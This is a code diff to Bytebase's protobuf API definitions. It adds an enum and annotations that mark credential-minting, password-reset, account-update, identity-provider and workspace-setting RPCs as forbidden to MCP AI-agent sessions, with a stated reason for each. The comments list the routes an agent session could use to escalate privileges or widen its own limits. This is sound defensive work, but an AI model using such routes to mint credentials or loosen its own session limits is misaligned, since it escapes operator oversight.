- <td>UpdateWorksheetOrganizer</td>
- <td><a href="#bytebase.v1.UpdateWorksheetOrganizerRequest">UpdateWorksheetOrganizerRequest</a></td>
- <td><a href="#bytebase.v1.WorksheetOrganizer">WorksheetOrganizer</a></td>
- <td><p>Update the organizer of a worksheet.
-The access is the same as UpdateWorksheet method.
-Permissions required: bb.worksheets.get (or creator, or project member for shared worksheets)</p></td>
- </tr>
-
- <tr>
- <td>BatchUpdateWorksheetOrganizer</td>
- <td><a href="#bytebase.v1.BatchUpdateWorksheetOrganizerRequest">BatchUpdateWorksheetOrganizerRequest</a></td>
- <td><a href="#bytebase.v1.BatchUpdateWorksheetOrganizerResponse">BatchUpdateWorksheetOrganizerResponse</a></td>
- <td><p>Batch update the organizers of worksheets.
-The access is the same as UpdateWorksheet method.
-Permissions required: bb.worksheets.get (or creator, or project member for shared worksheets)</p></td>
- </tr>
-
- <tr>
- <td>DeleteWorksheet</td>
- <td><a href="#bytebase.v1.DeleteWorksheetRequest">DeleteWorksheetRequest</a></td>
- <td><a href="#google.protobuf.Empty">.google.protobuf.Empty</a></td>
- <td><p>Delete a worksheet.
-The access is the same as UpdateWorksheet method.
-Permissions required: bb.worksheets.manage (or creator, or project member for PROJECT_WRITE worksheets)</p></td>
- </tr>
-
- </tbody>
- </table>
-
-
-
-
- <h4>Methods with HTTP bindings</h4>
- <table>
- <thead>
- <tr>
- <td>Method Name</td>
- <td>Method</td>
- <td>Pattern</td>
- <td>Body</td>
- </tr>
- </thead>
- <tbody>
-
-
-
- <tr>
- <td>CreateWorksheet</td>
- <td>POST</td>
- <td>/v1/{parent=projects/*}/worksheets</td>
- <td>worksheet</td>
- </tr>
-
-
-
-
- <tr>
- <td>GetWorksheet</td>
- <td>GET</td>
- <td>/v1/{name=projects/*/worksheets/*}</td>
- <td></td>
- </tr>
-
-
-
-
- <tr>
- <td>ListWorksheets</td>
- <td>GET</td>
- <td>/v1/{parent=projects/*}/worksheets</td>
- <td></td>
- </tr>
-
-
-
-
- <tr>
- <td>ListWorksheetFolders</td>
- <td>GET</td>
- <td>/v1/{parent=projects/*}/worksheetFolders</td>
- <td></td>
- </tr>
-
-
-
-
- <tr>
- <td>SearchWorksheets</td>
- <td>POST</td>
- <td>/v1/{parent=projects/*}/worksheets:search</td>
- <td>*</td>
- </tr>
-
-
-
-
- <tr>
- <td>UpdateWorksheet</td>
- <td>PATCH</td>
- <td>/v1/{worksheet.name=projects/*/worksheets/*}</td>
- <td>worksheet</td>
- </tr>
-
-
-
-
- <tr>
- <td>UpdateWorksheetOrganizer</td>
- <td>PATCH</td>
- <td>/v1/{organizer.worksheet=projects/*/worksheets/*}/organizer</td>
- <td>organizer</td>
- </tr>
-
-
-
-
- <tr>
- <td>BatchUpdateWorksheetOrganizer</td>
- <td>POST</td>
- <td>/v1/{parent=projects/*}/worksheets/organizers:batchUpdate</td>
- <td>*</td>
- </tr>
-
-
-
-
- <tr>
- <td>DeleteWorksheet</td>
- <td>DELETE</td>
- <td>/v1/{name=projects/*/worksheets/*}</td>
- <td></td>
- </tr>
-
-
- </tbody>
- </table>
-
-
-
-
<div class="file-heading">
<h2 id="v1/workspace_service.proto">v1/workspace_service.proto</h2><a href="#title">Top</a>
</div>
diff --git a/proto/v1/v1/annotation.proto b/proto/v1/v1/annotation.proto
index c8804d62ad..428914664e 100644
--- a/proto/v1/v1/annotation.proto
+++ b/proto/v1/v1/annotation.proto
@@ -18,6 +18,11 @@ extend google.protobuf.MethodOptions {
bool audit = 100003;
// How the method is classified for MCP (AI agent) sessions.
MCPMethodClass mcp_method_class = 100004;
+ // Why the method is forbidden to MCP sessions. Meaningful only alongside
+ // mcp_method_class = FORBIDDEN; the denial names it so the agent, and the
+ // operator reading the audit row, learn why rather than just that it was
+ // refused.
+ MCPForbiddenReason mcp_forbidden_reason = 100005;
}
// Authorization method for RPC calls.
@@ -49,3 +54,37 @@ enum MCPMethodClass {
// console; an agent acting for them does not get to.
FORBIDDEN = 3;
}
+
+// Why an RPC is FORBIDDEN to MCP sessions. The mechanism, not the wording:
+// each value names what its methods actually do, and the serving side turns
+// that into a sentence. A denial whose stated reason has drifted from the
+// mechanism is worse than a bare refusal, because it is the thing the next
+// reader trusts — so a method changing what it does changes its reason here.
+enum MCPForbiddenReason {
+ // No reason recorded. The method is still denied — mcp_method_class is what
+ // enforces — and the denial falls back to generic wording.
+ MCP_FORBIDDEN_REASON_UNSPECIFIED = 0;
+ // Puts a token for the caller's own principal in the response body.
+ MINTS_CREDENTIAL = 1;
+ // Drives the out-of-band reset flow that sets or delivers the secret a
+ // login accepts.
+ RESETS_CREDENTIAL = 2;
+ // Rewrites an account's own credentials, which would let the session log in
+ // as that account.
+ TAKES_OVER_ACCOUNT = 3;
+ // Destroys the human's own login session.
+ ENDS_SESSION = 4;
+ // Destroys the caller's own workspace membership and mints a plain
+ // workspace token on the way out.
+ ENDS_MEMBERSHIP = 5;
+ // Leaves someone holding a principal the caller is not — by issuing its
+ // credential, carrying an existing one out to a host the caller named,
+ // choosing what will later be trusted to mint one, or redirecting where one
+ // gets delivered.
+ MINTS_CREDENTIAL_FOR_OTHERS = 6;
+ // Rewrites the workspace configuration that governs the session making the
+ // call — the MCP switch itself, the sign-in and SSO settings, and the mail
+ // relay that carries credential resets. A session that can widen its own
+ // ceiling is not bounded by it.
+ REWRITES_SESSION_BOUNDARY = 7;
+}
diff --git a/proto/v1/v1/auth_service.proto b/proto/v1/v1/auth_service.proto
index b5945d2886..7e74f06844 100644
--- a/proto/v1/v1/auth_service.proto
+++ b/proto/v1/v1/auth_service.proto
@@ -21,6 +21,7 @@ service AuthService {
option (bytebase.v1.allow_without_credential) = true;
option (bytebase.v1.audit) = true;
option (bytebase.v1.mcp_method_class) = FORBIDDEN;
+ option (bytebase.v1.mcp_forbidden_reason) = MINTS_CREDENTIAL;
}
// Logs out the current user session.
@@ -33,6 +34,7 @@ service AuthService {
option (bytebase.v1.allow_without_credential) = true;
option (bytebase.v1.audit) = true;
option (bytebase.v1.mcp_method_class) = FORBIDDEN;
+ option (bytebase.v1.mcp_forbidden_reason) = ENDS_SESSION;
}
// Exchanges an external OIDC token for a Bytebase access token.
@@ -46,6 +48,7 @@ service AuthService {
option (bytebase.v1.allow_without_credential) = true;
option (bytebase.v1.audit) = true;
option (bytebase.v1.mcp_method_class) = FORBIDDEN;
+ option (bytebase.v1.mcp_forbidden_reason) = MINTS_CREDENTIAL;
}
// Registers a new user account. Creates a principal and assigns a workspace:
@@ -60,6 +63,7 @@ service AuthService {
option (bytebase.v1.allow_without_credential) = true;
option (bytebase.v1.audit) = true;
option (bytebase.v1.mcp_method_class) = FORBIDDEN;
+ option (bytebase.v1.mcp_forbidden_reason) = MINTS_CREDENTIAL;
}
// Refreshes the access token using the refresh token cookie.
@@ -71,6 +75,7 @@ service AuthService {
};
option (bytebase.v1.allow_without_credential) = true;
option (bytebase.v1.mcp_method_class) = FORBIDDEN;
+ option (bytebase.v1.mcp_forbidden_reason) = MINTS_CREDENTIAL;
}
// Switches the current user's active workspace and issues new tokens.
@@ -82,6 +87,7 @@ service AuthService {
};
option (bytebase.v1.auth_method) = CUSTOM;
option (bytebase.v1.mcp_method_class) = FORBIDDEN;
+ option (bytebase.v1.mcp_forbidden_reason) = MINTS_CREDENTIAL;
}
// Requests a password reset email for the given email address.
@@ -93,8 +99,9 @@ service AuthService {
body: "*"
};
option (bytebase.v1.allow_without_credential) = true;
- option (bytebase.v1.mcp_method_class) = FORBIDDEN;
option (bytebase.v1.audit) = true;
+ option (bytebase.v1.mcp_method_class) = FORBIDDEN;
+ option (bytebase.v1.mcp_forbidden_reason) = RESETS_CREDENTIAL;
}
// Resets the user's password using a password reset token from email.
@@ -105,8 +112,9 @@ service AuthService {
body: "*"
};
option (bytebase.v1.allow_without_credential) = true;
- option (bytebase.v1.mcp_method_class) = FORBIDDEN;
option (bytebase.v1.audit) = true;
+ option (bytebase.v1.mcp_method_class) = FORBIDDEN;
+ option (bytebase.v1.mcp_forbidden_reason) = RESETS_CREDENTIAL;
}
// Sends a 6-digit verification code to the email for login/signup.
@@ -120,6 +128,7 @@ service AuthService {
option (bytebase.v1.allow_without_credential) = true;
option (bytebase.v1.audit) = true;
option (bytebase.v1.mcp_method_class) = FORBIDDEN;
+ option (bytebase.v1.mcp_forbidden_reason) = RESETS_CREDENTIAL;
}
}
diff --git a/proto/v1/v1/idp_service.proto b/proto/v1/v1/idp_service.proto
index 4e606e699e..d88608432b 100644
--- a/proto/v1/v1/idp_service.proto
+++ b/proto/v1/v1/idp_service.proto
@@ -47,6 +47,8 @@ service IdentityProviderService {
option (bytebase.v1.permission) = "bb.identityProviders.create";
option (bytebase.v1.auth_method) = IAM;
option (bytebase.v1.audit) = true;
+ option (bytebase.v1.mcp_method_class) = FORBIDDEN;
+ option (bytebase.v1.mcp_forbidden_reason) = MINTS_CREDENTIAL_FOR_OTHERS;
}
// Updates an identity provider.
@@ -61,6 +63,8 @@ service IdentityProviderService {
option (bytebase.v1.permission) = "bb.identityProviders.update";
option (bytebase.v1.auth_method) = IAM;
option (bytebase.v1.audit) = true;
+ option (bytebase.v1.mcp_method_class) = FORBIDDEN;
+ option (bytebase.v1.mcp_forbidden_reason) = MINTS_CREDENTIAL_FOR_OTHERS;
}
// Deletes an identity provider.
@@ -82,6 +86,8 @@ service IdentityProviderService {
};
option (bytebase.v1.permission) = "bb.identityProviders.update";
option (bytebase.v1.auth_method) = IAM;
+ option (bytebase.v1.mcp_method_class) = FORBIDDEN;
+ option (bytebase.v1.mcp_forbidden_reason) = MINTS_CREDENTIAL_FOR_OTHERS;
}
}
diff --git a/proto/v1/v1/instance_service.proto b/proto/v1/v1/instance_service.proto
index 7615f37b53..72d9a1bcff 100644
--- a/proto/v1/v1/instance_service.proto
+++ b/proto/v1/v1/instance_service.proto
@@ -218,6 +218,8 @@ service InstanceService {
option (bytebase.v1.permission) = "bb.instances.update";
option (bytebase.v1.auth_method) = IAM;
option (bytebase.v1.audit) = true;
+ option (bytebase.v1.mcp_method_class) = FORBIDDEN;
+ option (bytebase.v1.mcp_forbidden_reason) = MINTS_CREDENTIAL_FOR_OTHERS;
}
}
diff --git a/proto/v1/v1/service_account_service.proto b/proto/v1/v1/service_account_service.proto
index 7ecbf3afa2..1480bd112d 100644
--- a/proto/v1/v1/service_account_service.proto
+++ b/proto/v1/v1/service_account_service.proto
@@ -33,6 +33,8 @@ service ServiceAccountService {
option (bytebase.v1.permission) = "bb.serviceAccounts.create";
option (bytebase.v1.auth_method) = IAM;
option (bytebase.v1.audit) = true;
+ option (bytebase.v1.mcp_method_class) = FORBIDDEN;
+ option (bytebase.v1.mcp_forbidden_reason) = MINTS_CREDENTIAL_FOR_OTHERS;
}
// Gets a service account by name.
@@ -68,6 +70,8 @@ service ServiceAccountService {
option (bytebase.v1.permission) = "bb.serviceAccounts.update";
option (bytebase.v1.auth_method) = IAM;
option (bytebase.v1.audit) = true;
+ option (bytebase.v1.mcp_method_class) = FORBIDDEN;
+ option (bytebase.v1.mcp_forbidden_reason) = MINTS_CREDENTIAL_FOR_OTHERS;
}
// Deletes a service account.
diff --git a/proto/v1/v1/setting_service.proto b/proto/v1/v1/setting_service.proto
index 471f8450c0..9e818a4e45 100644
--- a/proto/v1/v1/setting_service.proto
+++ b/proto/v1/v1/setting_service.proto
@@ -46,6 +46,8 @@ service SettingService {
option (bytebase.v1.permission) = "bb.settings.set";
option (bytebase.v1.auth_method) = CUSTOM;
option (bytebase.v1.audit) = true;
+ option (bytebase.v1.mcp_method_class) = FORBIDDEN;
+ option (bytebase.v1.mcp_forbidden_reason) = REWRITES_SESSION_BOUNDARY;
}
// Sends a test email using the provided config (without persisting).
@@ -57,6 +59,8 @@ service SettingService {
};
option (bytebase.v1.permission) = "bb.settings.set";
option (bytebase.v1.auth_method) = IAM;
+ option (bytebase.v1.mcp_method_class) = FORBIDDEN;
+ option (bytebase.v1.mcp_forbidden_reason) = MINTS_CREDENTIAL_FOR_OTHERS;
}
}
diff --git a/proto/v1/v1/user_service.proto b/proto/v1/v1/user_service.proto
index b2d088fc9c..e50fbb7071 100644
--- a/proto/v1/v1/user_service.proto
+++ b/proto/v1/v1/user_service.proto
@@ -66,6 +66,8 @@ service UserService {
option (bytebase.v1.auth_method) = IAM;
option (bytebase.v1.permission) = "bb.users.create";
option (bytebase.v1.audit) = true;
+ option (bytebase.v1.mcp_method_class) = FORBIDDEN;
+ option (bytebase.v1.mcp_forbidden_reason) = MINTS_CREDENTIAL_FOR_OTHERS;
}
// Updates a user. Users can update their own profile, or users with bb.users.update permission can update any user.
@@ -80,6 +82,7 @@ service UserService {
option (bytebase.v1.auth_method) = CUSTOM;
option (bytebase.v1.audit) = true;
option (bytebase.v1.mcp_method_class) = FORBIDDEN;
+ option (bytebase.v1.mcp_forbidden_reason) = TAKES_OVER_ACCOUNT;
}
// Deletes a user. Requires bb.users.delete permission with additional validation: the last remaining workspace admin cannot be deleted.
@@ -113,6 +116,8 @@ service UserService {
option (bytebase.v1.permission) = "bb.users.updateEmail";
option (bytebase.v1.auth_method) = IAM;
option (bytebase.v1.audit) = true;
+ option (bytebase.v1.mcp_method_class) = FORBIDDEN;
+ option (bytebase.v1.mcp_forbidden_reason) = MINTS_CREDENTIAL_FOR_OTHERS;
}
}
diff --git a/proto/v1/v1/workload_identity_service.proto b/proto/v1/v1/workload_identity_service.proto
index 67dd014396..0881ef0bb2 100644
--- a/proto/v1/v1/workload_identity_service.proto
+++ b/proto/v1/v1/workload_identity_service.proto
@@ -33,6 +33,8 @@ service WorkloadIdentityService {
option (bytebase.v1.permission) = "bb.workloadIdentities.create";
option (bytebase.v1.auth_method) = IAM;
option (bytebase.v1.audit) = true;
+ option (bytebase.v1.mcp_method_class) = FORBIDDEN;
+ option (bytebase.v1.mcp_forbidden_reason) = MINTS_CREDENTIAL_FOR_OTHERS;
}
// Gets a workload identity by name.
@@ -68,6 +70,8 @@ service WorkloadIdentityService {
option (bytebase.v1.permission) = "bb.workloadIdentities.update";
option (bytebase.v1.auth_method) = IAM;
option (bytebase.v1.audit) = true;
+ option (bytebase.v1.mcp_method_class) = FORBIDDEN;
+ option (bytebase.v1.mcp_forbidden_reason) = MINTS_CREDENTIAL_FOR_OTHERS;
}
// Deletes a workload identity.
diff --git a/proto/v1/v1/workspace_service.proto b/proto/v1/v1/workspace_service.proto
index d08729fc28..dcd70cf2f3 100644
--- a/proto/v1/v1/workspace_service.proto
+++ b/proto/v1/v1/workspace_service.proto
@@ -59,6 +59,7 @@ service WorkspaceService {
option (bytebase.v1.auth_method) = IAM;
option (bytebase.v1.audit) = true;
option (bytebase.v1.mcp_method_class) = FORBIDDEN;
+ option (bytebase.v1.mcp_forbidden_reason) = ENDS_MEMBERSHIP;
}
// Removes the calling user from a workspace and switches to the next
@@ -72,6 +73,7 @@ service WorkspaceService {
option (bytebase.v1.auth_method) = CUSTOM;
option (bytebase.v1.audit) = true;
option (bytebase.v1.mcp_method_class) = FORBIDDEN;
+ option (bytebase.v1.mcp_forbidden_reason) = ENDS_MEMBERSHIP;
}
// Sets IAM policy for the workspace.
@@ -100,6 +102,8 @@ service WorkspaceService {
option (bytebase.v1.permission) = "bb.workspaces.rotateDirectorySyncToken";
option (bytebase.v1.auth_method) = IAM;
option (bytebase.v1.audit) = true;
+ option (bytebase.v1.mcp_method_class) = FORBIDDEN;
+ option (bytebase.v1.mcp_forbidden_reason) = MINTS_CREDENTIAL_FOR_OTHERS;
}
}